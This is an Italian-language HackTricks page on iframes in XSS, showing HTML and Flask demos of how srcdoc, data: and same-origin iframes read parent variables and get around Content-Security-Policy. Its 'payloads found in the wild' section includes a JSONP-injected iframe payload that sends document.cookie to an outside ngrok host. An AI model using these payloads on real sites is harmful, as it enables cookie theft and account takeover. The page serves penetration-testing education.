Iframes in XSS, CSP and SOP

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Iframes in XSS

Ci sono 3 modi per indicare il contenuto di una pagina in un iframe:

  • Attraverso src indicando un URL (l'URL può essere di origine diversa o della stessa origine)

  • Attraverso src indicando il contenuto usando il protocollo data:

  • Attraverso srcdoc indicando il contenuto

Accesso alle variabili genitore e figlio

<html>
<script>
var secret = "31337s3cr37t";
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
</html>
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>

Se accedi all'html precedente tramite un server http (come python3 -m http.server) noterai che tutti gli script verranno eseguiti (poiché non c'è CSP che lo impedisca). il genitore non potrà accedere alla variabile secret all'interno di nessun iframe e solo gli iframe if2 e if3 (che sono considerati dello stesso sito) possono accedere al segreto nella finestra originale. Nota come if4 sia considerato avere un'origine null.

Iframes con CSP

Si prega di notare come nei seguenti bypass la risposta alla pagina con iframe non contenga alcun'intestazione CSP che impedisca l'esecuzione di JS.

Il valore self di script-src non permetterà l'esecuzione del codice JS utilizzando il protocollo data: o l'attributo srcdoc. Tuttavia, anche il valore none del CSP permetterà l'esecuzione degli iframes che inseriscono un URL (completo o solo il percorso) nell'attributo src. Pertanto è possibile aggirare il CSP di una pagina con:

<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Nota come il CSP precedente permette solo l'esecuzione dello script inline. Tuttavia, solo gli script if1 e if2 verranno eseguiti ma solo if1 potrà accedere al segreto genitore.

Pertanto, è possibile aggirare un CSP se è possibile caricare un file JS sul server e caricarlo tramite iframe anche con script-src 'none'. Questo può potenzialmente essere fatto anche abusando di un endpoint JSONP dello stesso sito.

Puoi testare ciò con lo scenario seguente dove un cookie viene rubato anche con script-src 'none'. Esegui semplicemente l'applicazione e accedila con il tuo browser:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Altri Payload trovati in natura

<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

Il contenuto all'interno di un iframe può essere soggetto a restrizioni aggiuntive attraverso l'uso dell'attributo sandbox. Per impostazione predefinita, questo attributo non è applicato, il che significa che non ci sono restrizioni in atto.

Quando utilizzato, l'attributo sandbox impone diverse limitazioni:

  • Il contenuto è trattato come se provenisse da una fonte unica.

  • Qualsiasi tentativo di inviare moduli è bloccato.

  • L'esecuzione di script è proibita.

  • L'accesso a determinate API è disabilitato.

  • Impedisce ai link di interagire con altri contesti di navigazione.

  • L'uso di plugin tramite <embed>, <object>, <applet>, o tag simili è vietato.

  • La navigazione del contesto di navigazione di primo livello del contenuto da parte del contenuto stesso è impedita.

  • Le funzionalità che vengono attivate automaticamente, come la riproduzione video o il fuoco automatico dei controlli del modulo, sono bloccate.

Il valore dell'attributo può essere lasciato vuoto (sandbox="") per applicare tutte le restrizioni sopra menzionate. In alternativa, può essere impostato su un elenco di valori specifici separati da spazi che esentano l'iframe da determinate restrizioni.

<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Iframes in SOP

Controlla le seguenti pagine:

pageBypassing SOP with Iframes - 1pageBypassing SOP with Iframes - 2pageBlocking main page to steal postmessagepageSteal postmessage modifying iframe location
Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Last updated